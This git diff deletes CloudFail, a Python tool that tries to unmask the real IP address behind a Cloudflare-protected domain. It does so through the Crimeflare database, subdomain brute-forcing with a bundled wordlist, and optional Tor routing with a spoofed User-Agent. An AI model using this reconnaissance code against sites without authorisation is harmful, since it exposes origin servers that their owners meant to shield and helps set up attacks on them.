sys.exit(1) - - if not os.path.isfile("data/ipout"): - print_out(Fore.CYAN + "No ipout file found, fetching data") - update() - print_out(Fore.CYAN + "ipout file created") - - try: - ip = socket.gethostbyname(args.target) - except socket.gaierror: - print_out(Fore.RED + "Domain is not valid, exiting") - sys.exit(0) - - print_out(Fore.CYAN + "Server IP: " + ip) - print_out(Fore.CYAN + "Testing if " + args.target + " is on the Cloudflare network...") - - try: - ifIpIsWithin = inCloudFlare(ip) - - if ifIpIsWithin: - print_out(Style.BRIGHT + Fore.GREEN + args.target + " is part of the Cloudflare network!") - else: - print_out(Fore.RED + args.target + " is not part of the Cloudflare network, quitting...") - sys.exit(0) - except ValueError: - print_out(Fore.RED + "IP address does not appear to be within Cloudflare range, shutting down..") - sys.exit(0) - - -def inCloudFlare(ip): - with open('{}/data/cf-subnet.txt'.format(os.getcwd())) as f: - for line in f: - isInNetwork = ip_in_subnetwork(ip, line) - if isInNetwork: - return True - return False - - -def subdomain_scan(target, subdomains): - i = 0 - c = 0 - if subdomains: - subdomainsList = subdomains - else: - subdomainsList = "subdomains.txt" - try: - with open("data/" + subdomainsList, "r") as wordlist: - numOfLines = len(open("data/subdomains.txt").readlines( )) - numOfLinesInt = numOfLines - numOfLines = str(numOfLines) - print_out(Fore.CYAN + "Scanning " + numOfLines + " subdomains (" + subdomainsList + "), please wait...") - for word in wordlist: - c += 1 - if (c % int((float(numOfLinesInt) / 100.0))) == 0: - print_out(Fore.CYAN + str(round((c / float(numOfLinesInt)) * 100.0, 2)) + "% complete", '\r') - - subdomain = "{}.{}".format(word.strip(), target) - try: - target_http = requests.get("http://"+subdomain) - target_http = str(target_http.status_code) - ip = socket.gethostbyname(subdomain) - ifIpIsWithin = inCloudFlare(ip) - - if not ifIpIsWithin: - i += 1 - print_out(Style.BRIGHT+Fore.WHITE+"[FOUND:SUBDOMAIN] "+Fore.GREEN + subdomain + " IP: " + ip + " HTTP: " + target_http) - else: - print_out(Style.BRIGHT+Fore.WHITE+"[FOUND:SUBDOMAIN] "+Fore.RED + subdomain + " ON CLOUDFLARE NETWORK!") - continue - - except requests.exceptions.RequestException as e: - continue - if(i == 0): - print_out(Fore.CYAN + "Scanning finished, we did not find anything sorry...") - else: - print_out(Fore.CYAN + "Scanning finished...") - - except IOError: - print_out(Fore.RED + "Subdomains file does not exist in data directory, aborting scan...") - sys.exit(1) - -def update(): - print_out(Fore.CYAN + "Just checking for updates, please wait...") - print_out(Fore.CYAN + "Updating CloudFlare subnet...") - if(args.tor == False): - headers = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11'} - r = requests.get("https://www.cloudflare.com/ips-v4", headers=headers, cookies={'__cfduid': "d7c6a0ce9257406ea38be0156aa1ea7a21490639772"}, stream=True) - with open('data/cf-subnet.txt', 'wb') as fd: - for chunk in r.iter_content(4000): - fd.write(chunk) - else: - print_out(Fore.RED + Style.BRIGHT+"Unable to fetch CloudFlare subnet while TOR is active") - print_out(Fore.CYAN + "Updating Crimeflare database...") - r = requests.get("http://crimeflare.net:83/domains/ipout.zip", stream=True) - with open('data/ipout.zip', 'wb') as fd: - for chunk in r.iter_content(4000): - fd.write(chunk) - zip_ref = zipfile.ZipFile("data/ipout.zip", 'r') - zip_ref.extractall("data/") - zip_ref.close() - os.remove("data/ipout.zip") - - -# END FUNCTIONS - -logo = """\ - ____ _ _ _____ _ _ - / ___| | ___ _ _ __| | ___|_ _(_) | - | | | |/ _ \| | | |/ _` | |_ / _` | | | - | |___| | (_) | |_| | (_| | _| (_| | | | - \____|_|\___/ \__,_|\__,_|_| \__,_|_|_| - v1.0.1 by m0rtem - -""" - -print(Fore.RED + Style.BRIGHT + logo + Fore.RESET) -datestr = str(datetime.datetime.strftime(datetime.datetime.now(), '%d/%m/%Y')) -print_out("Initializing CloudFail - the date is: " + datestr) - -parser = argparse.ArgumentParser() -parser.add_argument("-t", "--target", help="target url of website", type=str) -parser.add_argument("-T", "--tor", dest="tor", action="store_true", help="enable TOR routing") -parser.add_argument("-u", "--update", dest="update", action="store_true", help="update databases") -parser.add_argument("-s", "--subdomains", help="name of alternate subdomains list stored in the data directory", type=str) -parser.set_defaults(tor=False) -parser.set_defaults(update=False) - -args = parser.parse_args() - -if args.tor is True: - ipcheck_url = 'http://canihazip.com/s' - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050) - socket.socket = socks.socksocket - try: - tor_ip = requests.get(ipcheck_url) - tor_ip = str(tor_ip.text) - - print_out(Fore.WHITE + Style.BRIGHT + "TOR connection established!") - print_out(Fore.WHITE + Style.BRIGHT + "New IP: " + tor_ip) - - except requests.exceptions.RequestException as e: - print(e, net_exc) - sys.exit(0) - -if args.update is True: - update() - -try: - - # Initialize CloudFail - init(args.target) - - # Scan DNSdumpster.com - dnsdumpster(args.target) - - # Scan Crimeflare database - crimeflare(args.target) - - # Scan subdomains with or without TOR - subdomain_scan(args.target, args.subdomains) - -except KeyboardInterrupt: - sys.exit(0) diff --git a/scripts/CloudFail/data/cf-subnet.txt b/scripts/CloudFail/data/cf-subnet.txt deleted file mode 100644 index dca57f08..00000000 --- a/scripts/CloudFail/data/cf-subnet.txt +++ /dev/null @@ -1,14 +0,0 @@ -103.21.244.0/22 -103.22.200.0/22 -103.31.4.0/22 -104.16.0.0/12 -108.162.192.0/18 -131.0.72.0/22 -141.101.64.0/18 -162.158.0.0/15 -172.64.0.0/13 -173.245.48.0/20 -188.114.96.0/20 -190.93.240.0/20 -197.234.240.0/22 -198.41.128.0/17 diff --git a/scripts/CloudFail/data/subdomains.txt b/scripts/CloudFail/data/subdomains.txt deleted file mode 100644 index 5c4ec132..00000000 --- a/scripts/CloudFail/data/subdomains.txt +++ /dev/null @@ -1,2897 +0,0 @@ -*.b -*.blog -*.blogs -*.dev -*.mail -*.red -*.s -*.search -*.staging -0 -01 -02 -03 -1 -10 -11 -12 -13 -14 -15 -159 -16 -167 -17 -18 -19 -190 -2 -20 -202 -208 -209 -212 -213 -216 -237 -244 -3 -3com -3g -4 -4k -5 -59 -6 -61 -7 -8 -9 -98-62 -HINET-IP -ILMI -Unused -a -a.auth-ns -a01 -a02 -a1 -a2 -abc -abhsia -about -ac -academico -acceso -access -accounting -accounts -acessonet -acid -activestat -activity -ad -ad1 -ad2 -ad3 -adam -adimg -adkit -adm -admin -admin.test -administracion -administrador -administrator -administrators -admins -ads -adserver -adserver2 -adsl -adslgp -adv -advance -advertising -ae -af -affiliate -affiliates -afiliados -ag -agenda -agent -ai -aix -ajax -ak -akamai -al -alabama -alaska -albq -album -albuquerque -alerts -alestra -alpha -alt -alterwind -am -amarillo -amedd -americas -an -anaheim -analyzer -anime -ann -announce -announcements -antivirus -ao -ap -apache -apg -api -api-test -api.news -apol -apollo -app -app01 -app1 -app2 -appdev -apple -application -applications -applwi -apps -appserver -aq -ar -araba -arc -archie -archive -archives -arcsight -argentina -arizona -arkansas -arlington -arpa -ars -as -as400 -asia -asianet -ask -asm -asterix -at -athena -atlanta -atlas -att -au -auction -austin -austtx -auth -auth1 -auth2 -auth3 -auto -autodiscover -autos -av -available -avantel -aw -ayuda -az -b -b.auth-ns -b01 -b02 -b1 -b2 -b2b -b2c -ba -back -backend -backoffice -backup -backup1 -baker -bakersfield -balance -balancer -baltimore -banking -bayarea -bb -bbdd -bbs -bchsia -bcvloh -bd -bdc -be -bea -beacon -beta -beta.m -bf -bg -bgk -bh -bhm -bi -bigpond -billing -bit -bitex -biz -biztalk -bj -bk -black -blackberry -bliss -blog -blogger -blogs -blue -blueyonder -bm -bn -bna -bnc -bo -bob -bof -bois -boise -bol -bolsa -books -bootp -border -boston -boulder -boy -bpb -br -brasiltelecom -bravo -brazil -bredband -britian -broadband -broadcast -broker -bronze -brown -bs -bsd -bsd0 -bsd01 -bsd02 -bsd1 -bsd2 -bt -btas -buddy.webchat -buffalo -bug -buggalo -bugs -bugzilla -build -bulletins -burn -burner -buscador -business -buy -buzz -bv -bw -by -bz -c -c.auth-ns -ca -cable -cache -cache1 -cache2 -cache3 -cacti -cae -cafe -calendar -california -call -calvin -campus -canada -canal -cancer -canli -canon -careers -catalog -cc -ccgg -cd -cdburner -cdn -cdntest -cert -certificates -certify -certserv -certsrv -cf -cg -cgi -ch -challenge -channel -channels -charlie -charlotte -chat -chat2 -chats -chatserver -chcgil -check -checkpoint -chi -chicago -christmas -chs -ci -cicril -cidr -cims -cinci -cincinnati -cisco -cisco1 -cisco2 -citrix -ck -cl -class -classes -classifieds -classroom -cleveland -click -click1.mail -clicktrack -client -clientes -clients -clsp -clt -clta -club -clubs -cluster -clusters -cm -cmail -cms -cn -co -cocoa -code -codetel -coldfusion -colombus -colorado -columbus -com -comet.webchat -commerce -commerceserver -communigate -community -compaq -compras -compute-1 -con -concentrator -conf -conference -conferencing -confidential -connect -connecticut -consola -console -consult -consultant -consultants -consulting -consumer -contact -content -contracts -contribute -core -core0 -core01 -core2 -cork -corp -corp-eur -corpmail -corporate -correo -correoweb -cortafuegos -counter -counterstrike -coupon -courses -cp1 -cp10 -cp2 -cp3 -cp4 -cp5 -cp6 -cp7 -cp8 -cp9 -cpanel -cpe -cr -crawl -cricket -crm -crs -cs -cso -css -ct -cu -cust -cust-adsl -cust1 -cust10 -cust100 -cust101 -cust102 -cust103 -cust104 -cust105 -cust106 -cust107 -cust108 -cust109 -cust11 -cust110 -cust111 -cust112 -cust113 -cust114 -cust115 -cust116 -cust117 -cust118 -cust119 -cust12 -cust120 -cust121 -cust122 -cust123 -cust124 -cust125 -cust126 -cust13 -cust14 -cust15 -cust16 -cust17 -cust18 -cust19 -cust2 -cust20 -cust21 -cust22 -cust23 -cust24 -cust25 -cust26 -cust27 -cust28 -cust29 -cust3 -cust30 -cust31 -cust32 -cust33 -cust34 -cust35 -cust36 -cust37 -cust38 -cust39 -cust4 -cust40 -cust41 -cust42 -cust43 -cust44 -cust45 -cust46 -cust47 -cust48 -cust49 -cust5 -cust50 -cust51 -cust52 -cust53 -cust54 -cust55 -cust56 -cust57 -cust58 -cust59 -cust6 -cust60 -cust61 -cust62 -cust63 -cust64 -cust65 -cust66 -cust67 -cust68 -cust69 -cust7 -cust70 -cust71 -cust72 -cust73 -cust74 -cust75 -cust76 -cust77 -cust78 -cust79 -cust8 -cust80 -cust81 -cust82 -cust83 -cust84 -cust85 -cust86 -cust87 -cust88 -cust89 -cust9 -cust90 -cust91 -cust92 -cust93 -cust94 -cust95 -cust96 -cust97 -cust98 -cust99 -customer -customers -cv -cvs -cx -cy -cz -d -d4 -da -daily -dallas -data -database -database01 -database02 -database1 -database2 -databases -datastore -dating -datos -david -db -db0 -db01 -db02 -db1 -db2 -db3 -db4 -dc -de -dealers -dec -ded -def -default -defiant -delaware -dell -delta -delta1 -demo -demon -demonstration -demos -denver -deploy -depot -des -desarrollo -descargas -design -designer -detroit -dev -dev.movie -dev.music -dev.news -dev.payment -dev.travel -dev.www -dev0 -dev01 -dev1 -devel -develop -developer -developers -development -device -devserver -devsql -dhcp -dhcp-bl -dhcp-in -dhcp4 -dial -dialuol -dialup -dictionary -diet -digital -digitaltv -dilbert -dion -dip -dip0 -dir -direct -directory -disc -discovery -discuss -discussion -discussions -disk -disney -distributer -distributers -dj -dk -dm -dmail -dmz -dnews -dns -dns-2 -dns0 -dns1 -dns2 -dns3 -dns4 -dns5 -do -docs -documentacion -documentos -domain -domains -dominio -domino -dominoweb -domolink -doom -download -download2 -downloads -downtown -dragon -drm -drupal -dsl -dsl-w -dt -dti -dublin -dv1 -dyn -dynamic -dynamicIP -dynip -dz -e -e-com -e-commerce -e0 -eagle -earth -east -ec -echo -ecom -ecommerce -ed -edge -edi -editor -edu -education -edward -ee -eg -eh -ejemplo -ekonomi -elections -elpaso -email -embratel -emhril -employees -empresa -empresas -en -enable -enews -eng -eng01 -eng1 -engine -engineer -engineering -enterprise -entertainment -eonet -epm -epsilon -er -erp -error -es -esd -esm -espanol -est -estadisticas -esx -et -eta -etb -eu -eur -europe -event -events -example -exchange -exec -ext.webchat -extern -external -extranet -f -f5 -facebook -falcon -family -farm -faststats -fax -fb -fbx -fe1 -fe2 -feed -feedback -feeds -fi -fibertel -field -file -files -fileserv -fileserver -filestore -filter -fin -finance -find -finger -fios -firewall -fix -fixes -fj -fk -fl -flash -florida -flow -flv -fm -fo -foobar -food -football -form -formacion -foro -foros -fortune -fortworth -forum -forums -foto -fotogaleri -fotos -foundry -fox -foxtrot -fr -france -frank -fred -free -freebsd -freebsd0 -freebsd01 -freebsd02 -freebsd1 -freebsd2 -freeware -fresno -frokca -front -frontdesk -fs -fsp -ftas -ftd -ftp -ftp- -ftp0 -ftp2 -ftp_ -ftpserver -fw -fw-1 -fw1 -fwd -fwsm -fwsm0 -fwsm01 -fwsm1 -g -ga -galeria -galerias -galleries -gallery -galway -game -game1 -games -gamma -gandalf -gate -gatekeeper -gateway -gauss -gd -ge -gemini -general -genericrev -george -georgia -germany -gf -gg -gh -gi -giga -gitlab -gl -glendale -global -gm -gmail -gn -go -gold -goldmine -golf -gopher -gordon -gourmet -gp -gprs -gps -gq -gr -green -group -groups -groupwise -gs -gsp -gsx -gt -gtcust -gu -guest -guides -gvt -gw -gw1 -gy -gye -h -h2 -hal -halflife -hawaii -health -hello -help -helpdesk -helponline -henry -hermes -hfc -hi -hidden -hidden-host -highway -history -hk -hkcable -hlrn -hm -hn -hobbes -hollywood -home -homebase -homer -homerun -honeypot -honolulu -host -host1 -host3 -host4 -host5 -hosting -hotel -hotjobs -houstin -houston -howto -hp -hpov -hr -hrlntx -hsia -hstntx -hsv -ht -http -https -hu -hub -humanresources -i -i0.comet.webchat -i1.comet.webchat -i2.comet.webchat -i3.comet.webchat -i4.comet.webchat -i5.comet.webchat -i6.comet.webchat -i7.comet.webchat -i8.comet.webchat -i9.comet.webchat -ia -ias -ibm -ibmdb -id -ida -idaho -idc -ids -ie -iern -ig -iis -il -illinois -im -im1 -im2 -im3 -im4 -image -images -imail -imap -imap4 -img -img0 -img01 -img02 -img1 -img10 -img11 -img2 -img3 -img4 -img5 -img6 -img7 -img8 -img9 -imgs -impsat -in -in-addr -inbound -inc -include -incoming -india -indiana -indianapolis -inet -info -informix -infoweb -inside -install -int -intelignet -inter -intern -internal -internalhost -international -internet -internode -intl -intranet -invalid -investor -investors -io -iota -iowa -ip -ip215 -ipad -ipcom -iphone -iplanet -iplsin -ipltin -ipmonitor -iprimus -ipsec -ipsec-gw -ipt -ipv4 -iq -ir -irc -ircd -ircserver -ireland -iris -irvine -irving -irvnca -is -isa -isaserv -isaserver -ism -isp -israel -isync -it -italy -ix -j -jabber -jan -japan -java -jax -je -jedi -jira -jm -jo -job -jobb -jobs -john -jp -jrun -jsc -juegos -juliet -juliette -juniper -k -k12 -kansas -kansascity -kappa -kb -kbtelecom -ke -kentucky -kerberos -keynote -kg -kh -ki -kid -kids -kilo -king -kk -klmzmi -km -kn -knowledgebase -knoxville -koe -korea -kp -kr -ks -ksc2mo -kvm -kw -ky -kz -l -la -lab -laboratory -labs -lambda -lan -laptop -laserjet -lasvegas -launch -lb -lc -ldap -legal -leo -lewis -lft -li -lib -library -lima -lincoln -link -linux -linux0 -linux01 -linux02 -linux1 -linux2 -list -lista -lists -listserv -listserver -lite -live -livnmi -lk -ll -lnk -load -loadbalancer -local -local.api -localhost -log -log0 -log01 -log02 -log1 -log2 -logfile -logfiles -logger -logging -loghost -login -logs -london -longbeach -losangeles -lotus -louisiana -love -lr -ls -lsan03 -lt -ltrkar -lu -luke -lv -lw -ly -lyris -m -m.plb1 -m.plb2 -m.slb1 -m.slb2 -m0 -m1 -m10 -m11 -m2 -m3 -m4 -m6 -m7 -m8 -m9 -ma -maa -mac -mac1 -mac10 -mac11 -mac2 -mac3 -mac4 -mac5 -mach -macintosh -madrid -magazine -mail -mail1 -mail1.mail -mail2 -mail2.mail -mail3 -mail3.mail -mail4 -mail4.mail -mail5.mail -mail6.mail -mail7.mail -mailer -mailgate -mailhost -mailing -maillist -maillists -mailroom -mailserv -mailsite -mailsrv -main -maine -maint -maintenance -mall -manage -management -manager -manufacturing -map -mapas -maps -market -marketing -marketplace -mars -marvin -mary -maryland -massachusetts -master -max -maxonline -mayday -mb2 -mc -mci -mco -md -mdaemon -me -med -media -mediakit -meet -megaegg -megared -mem -member -members -memphis -men -mercury -merlin -mesh -messages -messenger -mg -mgmt -mh -mi -mia -miamfl -miami -michigan -mickey -mid -midwest -mike -milwaukee -milwwi -minneapolis -minnesota -mirror -mis -mississippi -missouri -mk -ml -mm -mms -mn -mngt -mo -mob -mobi -mobil -mobile -mobileonline -mom -mon -money -monitor -monitoring -montana -moon -moscow -movie -movies -mozart -mp -mp3 -mpeg -mpg -mpls -mq -mr -mrt -mrtg -ms -ms-exchange -ms-sql -msexchange -msgrs.webchat -mssnks -mssql -mssql0 -mssql01 -mssql1 -msy -mt -mta -mtnl -mtu -mu -multimedia -munin -music -mv -mw -mweb -mx -mx1 -mx2 -my -mysql -mysql0 -mysql01 -mysql1 -mz -n -na -nagios -nam -name -names -nameserv -nameserver -nas -nashville -nat -navi -nb -nc -nd -nds -ne -nebraska -neo -neptune -net -netapp -netdata -netgear -netmeeting -netscaler -netscreen -netstats -netvision -network -nevada -new -newhampshire -newjersey -newmexico -neworleans -news -newsfeed -newsfeeds -newsgroups -newsletter -newsletters -newton -newyork -newzealand -nf -ng -nh -ni -nigeria -nj -nl -nm -nms -nntp -no -no-dns -no-dns-yet -node -nokia -nombres -nora -north -northcarolina -northdakota -northeast -northwest -not-set-yet -nothing -noticias -novell -november -now -np -nr -ns -ns- -ns0 -ns01 -ns02 -ns1 -ns2 -ns3 -ns4 -ns5 -ns_ -nswc -nt -nt4 -nt40 -ntmail -ntp -ntserver -nu -null -nv -nw -ny -nycap -nz -o -o1.email -oakland -oas -oc -ocean -ocn -ocs -odin -odn -office -offices -oh -ohio -oilfield -ok -okc -okcyok -oklahoma -oklahomacity -old -om -omah -omaha -omega -omicron -one -online -ontario -open -openbsd -openview -operations -ops -ops0 -ops01 -ops02 -ops1 -ops2 -opsware -optusnet -or -oracle -orange -order -orders -oregon -origin -origin-images -origin-video -origin-www -origin-www.sjl01 -orion -orlando -oscar -otrs -out -outbound -outgoing -outlook -outside -ov -owa -owa01 -owa02 -owa1 -owa2 -owb -ows -oxnard -p -pa -pac -page -pager -pages -paginas -papa -paris -parners -partner -partners -patch -patches -paul -pay -payment -payroll -pbx -pc -pc01 -pc1 -pc10 -pc101 -pc11 -pc12 -pc13 -pc14 -pc15 -pc16 -pc17 -pc18 -pc19 -pc2 -pc20 -pc21 -pc22 -pc23 -pc24 -pc25 -pc26 -pc27 -pc28 -pc29 -pc3 -pc30 -pc31 -pc32 -pc33 -pc34 -pc35 -pc36 -pc37 -pc38 -pc39 -pc4 -pc40 -pc41 -pc42 -pc43 -pc44 -pc45 -pc46 -pc47 -pc48 -pc49 -pc5 -pc50 -pc51 -pc52 -pc53 -pc54 -pc55 -pc56 -pc57 -pc58 -pc59 -pc6 -pc60 -pc7 -pc8 -pc9 -pcmail -pcs -pda -pdc -pe -pegasus -pennsylvania -peoplesoft -personal -pet -pf -pg -pgp -ph -phi -philadelphia -phnx -phoenix -phoeniz -phone -phones -photo -photos -pi -pics -pictures -pink -pipex-gw -pittsburgh -pix -pk -pki -pl -plala -plano -platinum -pltn13 -pluto -pm -pm1 -pn -po -podcast -point -pol -policy -polls -pool -pools -pop -pop3 -portal -portals -portfolio -portland -post -postales -postoffice -ppp -ppp1 -ppp10 -ppp11 -ppp12 -ppp13 -ppp14 -ppp15 -ppp16 -ppp17 -ppp18 -ppp19 -ppp2 -ppp20 -ppp21 -ppp3 -ppp4 -ppp5 -ppp6 -ppp7 -ppp8 -ppp9 -pppoe -pptp -pr -prensa -present -press -prima -printer -printserv -printserver -priv -privacy -private -problemtracker -prod-empresarial -prod-infinitum -prodigy -products -profile -profiles -project -projects -promo -proxy -prueba -pruebas -ps -psi -pss -pt -ptld -ptr -pub -public -pubs -puppet -purple -pv -pw -py -q -qa -qmail -qotd -qq -quake -quangcao -quebec -queen -quotes -r -r01 -r02 -r1 -r2 -ra -radio -radius -ramstein -range217-42 -range217-43 -range217-44 -range86-128 -range86-129 -range86-130 -range86-131 -range86-132 -range86-133 -range86-134 -range86-135 -range86-136 -range86-137 -range86-138 -range86-139 -range86-140 -range86-141 -range86-142 -range86-143 -range86-144 -range86-145 -range86-146 -range86-147 -range86-148 -range86-149 -range86-150 -range86-151 -range86-152 -range86-153 -range86-154 -range86-155 -range86-156 -range86-157 -range86-158 -range86-159 -range86-160 -range86-161 -range86-162 -range86-163 -range86-164 -range86-165 -range86-166 -range86-167 -range86-168 -range86-169 -range86-170 -range86-171 -range86-172 -range86-173 -range86-174 -range86-176 -range86-177 -range86-178 -range86-179 -range86-180 -range86-181 -range86-182 -range86-183 -range86-184 -range86-185 -range86-186 -range86-187 -range86-188 -range86-189 -rapidsite -raptor -ras -rc -rcs -rcsntx -rd -rdns -re -read -realserver -realty -record -recruiting -red -redhat -redmine -ref -reference -reg -register -registro -registry -regs -reklam -relay -rem -remote -remstats -reports -res -research -reseller -reserved -resnet -results -resumenes -retail -rev -reverse -rho -rhodeisland -ri -ris -river -rmi -ro -robert -rochester -romeo -root -rose -route -router -router1 -rs -rss -rt -rtc5 -rtelnet -rtr -rtr01 -rtr1 -ru -rune -rw -rwhois -s -s1 -s16 -s17 -s18 -s2 -s201 -s202 -s203 -s207 -s216 -s221 -s222 -s224 -s227 -s230 -s233 -s236 -s237 -s238 -s239 -s241 -s245 -s247 -s248 -s249 -s251 -s252 -s253 -s254 -s255 -s256 -s257 -s258 -s259 -s262 -s264 -s265 -s266 -s267 -s268 -s269 -s270 -s271 -s272 -s273 -s274 -s275 -s276 -s277 -s278 -s280 -s281 -s285 -s286 -s287 -s288 -s289 -s29 -s290 -s291 -s295 -s296 -s297 -s298 -s299 -s30 -s301 -s302 -s303 -s304 -s305 -s306 -s307 -s308 -s309 -s31 -s310 -s311 -s312 -s313 -s314 -s315 -s316 -s317 -s318 -s320 -s321 -s324 -s325 -s326 -s329 -s33 -s330 -s331 -s332 -s333 -s334 -s335 -s336 -s337 -s338 -s339 -s340 -s341 -s342 -s343 -s344 -s345 -s346 -s347 -s348 -s349 -s350 -s351 -s352 -s353 -s354 -s355 -s356 -s357 -s4 -s40 -s401 -s402 -s403 -s406 -s410 -s411 -s412 -s413 -s414 -s415 -s416 -s417 -s418 -s419 -s420 -s421 -s422 -s424 -s425 -s426 -s427 -s428 -s429 -s430 -s431 -s432 -s433 -s434 -s435 -s436 -s437 -s438 -s439 -s440 -s441 -s442 -s443 -s444 -s445 -s446 -s447 -s448 -s449 -s450 -s451 -s452 -s453 -s454 -s455 -s456 -s457 -s458 -s459 -s460 -s461 -s462 -s463 -s464 -s465 -s466 -s467 -s468 -s469 -s470 -s471 -s472 -s473 -s474 -s475 -s476 -s477 -s5 -s7 -sa -sac -sacramento -sadmin -safe -sales -saltlake -sam -san -sanantonio -sandbox -sandiego -sanfrancisco -sanjose -saskatchewan -sasknet -saturn -savecom -sb -sbs -sc -scanner -schedules -scotland -scotty -screenshot -scrm01 -sd -sdf -sdsl -se -sea -search -season -seattle -sec -secim -secret -secure -secure.dev -secured -securid -security -seed -segment-119-226 -segment-119-227 -segment-124-30 -segment-124-7 -seminar -sendmail -seri -serv -serv2 -server -server1 -servers -service -services -services2 -servicio -servidor -setup -sfldmi -sg -sh -share -shared -sharepoint -shareware -shipping -shop -shoppers -shopping -showcase -shv -si -siebel -sierra -sigma -signin -signup -silver -sim -sip -sirius -site -sites -siw -sj -sk -skywalker -sl -slackware -slkc -slmail -sm -smc -smoke -sms -sms2 -smtp -smtp1 -smtp2 -smtp3 -smtphost -sn -snantx -sndg02 -sndgca -snfc21 -sniffer -snmp -snmpd -snoopy -snort -sntcca -so -so-net -socal -soccer -social -software -sol -solaris -solr -solutions -soporte -sorry -source -sourcecode -sourcesafe -south -southcarolina -southdakota -southeast -southwest -spain -spam -spawar -speed -speedtest -speedy -spider -spiderman -spkn -splunk -spock -spokane -spor -sport -sports -spotlight -springfield -sprint -sq1 -sqa -sql -sql0 -sql01 -sql1 -sql7 -sqlserver -squid -sr -ss -ssd -ssh -ssl -ssl0 -ssl01 -ssl1 -sso -st -sta -staff -stage -staging -start -stat -static -static-ip-92-71 -staticIP -statistics -stats -status -stl2mo -stlouis -stlsmo -stock -storage -store -storefront -streaming -stronghold -strongmail -student -studio -submit -subscribe -subversion -sun -sun0 -sun01 -sun02 -sun1 -sun2 -superman -supplier -suppliers -support -survey -surveys -sv -svn -sw -sw0 -sw01 -sw1 -sweden -switch -switzerland -sy -sybase -sydney -sync -sysadmin -sysback -syslog -syslogs -system -sz -t -t-com -tachikawa -tacoma -taiwan -talk -tampa -tango -tau -tbcn -tc -tcl -tcso -td -tdatabrasil -team -tech -technology -techsupport -telecom -telefonia -telemar -telephone -telephony -telesp -telkomadsl -telnet -temp -tennessee -terminal -terminalserver -termserv -test -test.www -test1 -test2k -testbed -testing -testlab -testlinux -testserver -testsite -testsql -testxp -texas -tf -tfn -tftp -tg -th -thailand -theta -thor -ticket -tienda -tiger -time -tinp -titan -tivoli -tj -tk -tm -tn -to -tokyo -toledo -tom -tool -toolbar -tools -toplayer -tor -toronto -tour -tp -tpgi -tr -tracker -tracking -train -training -transfers -transit -translate -travel -travel2 -trinidad -trinity -ts -ts1 -ts31 -tsinghua -tt -tucson -tukrga -tukw -tulsa -tunnel -tv -tvadmin -tw -twcny -tx -txr -tz -u -ua -ucom -uddi -ug -uio -uk -um -unassigned -undefined -undefinedhost -uniform -uninet -union -unitedkingdom -unitedstates -unix -unixware -unk -unknown -unspec170108 -unspec207128 -unspec207129 -unspec207130 -unspec207131 -unused-space -uol -upc-a -upc-h -upc-i -upc-j -update -updates -upload -ups -upsilon -uranus -urchin -us -us.m -usa -usenet -user -users -ut -utah -utilities -uunet -uy -uz -v -v4 -va -vader -validip -van -vantive -vault -vc -ve -vega -vegas -veloxzone -vend -vendors -venus -vermont -vg -vi -victor -vid1 -vid2 -video -video1 -video2 -videos -vie -viking -violet -vip -virginia -vista -vm -vmserver -vmware -vn -vnc -vodacom -voice -voicemail -voip -vote -voyager -vpn -vpn0 -vpn01 -vpn02 -vpn1 -vpn2 -vsnl -vt -vu -w -w0 -w1 -w10 -w11 -w12 -w13 -w14 -w15 -w17 -w18 -w19 -w2 -w20 -w21 -w22 -w23 -w24 -w3 -w4 -w5 -w6 -w7 -w8 -w9 -wa -wais -wakwak -wallet -wam -wan -wap -wap1 -wap2 -wap3 -war -warehouse -washington -water -wc3 -weather -web -web1 -web10 -web2 -web3 -webaccess -webadmin -webalizer -webboard -webcache -webcam -webcast -webchat -webdev -webdisk -webdocs -webfarm -webhelp -weblib -weblogic -webmail -webmaster -webproxy -webring -webs -webserv -webserver -webservices -website -websites -websphere -websrv -websrvr -webstats -webstore -websvr -webtrends -welcome -west -westnet -westvirginia -wf -whiskey -white -whm -whois -wi -wichita -widget -widgets -wiki -wililiam -wimax-client -win -win01 -win02 -win1 -win2 -win2000 -win2003 -win2k -win2k3 -windows -windows01 -windows02 -windows1 -windows2 -windows2000 -windows2003 -windowsxp -wingate -winnt -winproxy -wins -winserve -winxp -wire -wireless -wisconsin -wlan -wlfrct -woh -woman -women -wood -wordpress -work -world -wotnoh -write -ws -ws1 -ws10 -ws11 -ws12 -ws13 -ws2 -ws3 -ws4 -ws5 -ws6 -ws7 -ws8 -ws9 -wusage -wv -ww -www -www- -www-01 -www-02 -www-1 -www-2 -www-int -www.ad -www.adimg -www.ads -www.api -www.blog -www.cdn -www.chat -www.demo -www.dev -www.game -www.games -www.help -www.hosting -www.jobs -www.m -www.mail -www.mobile -www.music -www.news -www.plb1 -www.plb2 -www.plb3 -www.plb4 -www.plb5 -www.plb6 -www.search -www.shopping -www.slb1 -www.slb2 -www.slb3 -www.slb4 -www.slb5 -www.slb6 -www.sms -www.tv -www.wap -www0 -www01 -www02 -www1 -www10 -www15 -www16 -www17 -www18 -www19 -www2 -www20 -www22 -www23 -www24 -www25 -www26 -www270 -www3 -www30 -www31 -www32 -www36 -www37 -www39 -www4 -www41 -www43 -www44 -www47 -www48 -www49 -www5 -www51 -www54 -www55 -www56 -www6 -www61 -www63 -www64 -www65 -www66 -www67 -www68 -www69 -www70 -www74 -www81 -www82 -www9 -www90 -www_ -wwwchat -wwwdev -wwwmail -wy -wyoming -x -x-ray -x1 -x3 -xdsl -xi -xlogan -xmail -xml -xp -xr -y -y12 -yahoo -yankee -ye -yellow -yokohama -young -yournet -yt -yu -z -z-log -za -zabbix -zaq -zebra -zera -zeus -zippy -zlog -zm -zulu -zw -zz \ No newline at end of file diff --git a/scripts/CloudFail/requirements.txt b/scripts/CloudFail/requirements.txt deleted file mode 100644 index cad0321c..00000000 --- a/scripts/CloudFail/requirements.txt +++ /dev/null @@ -1,9 +0,0 @@ -beautifulsoup4==4.6.0 -bs4==0.0.1 -certifi==2017.4.17 -chardet==3.0.4 -colorama==0.3.9 -idna==2.5 -requests>=2.20.0 -urllib3==1.23 -win_inet_pton==1.0.1 diff --git a/scripts/CloudFail/socks.py b/scripts/CloudFail/socks.py deleted file mode 100644 index 1858d86d..00000000 --- a/scripts/CloudFail/socks.py +++ /dev/null @@ -1,765 +0,0 @@ -""" -SocksiPy - Python SOCKS module. -Version 1.5.7 - -Copyright 2006 Dan-Haim. All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the 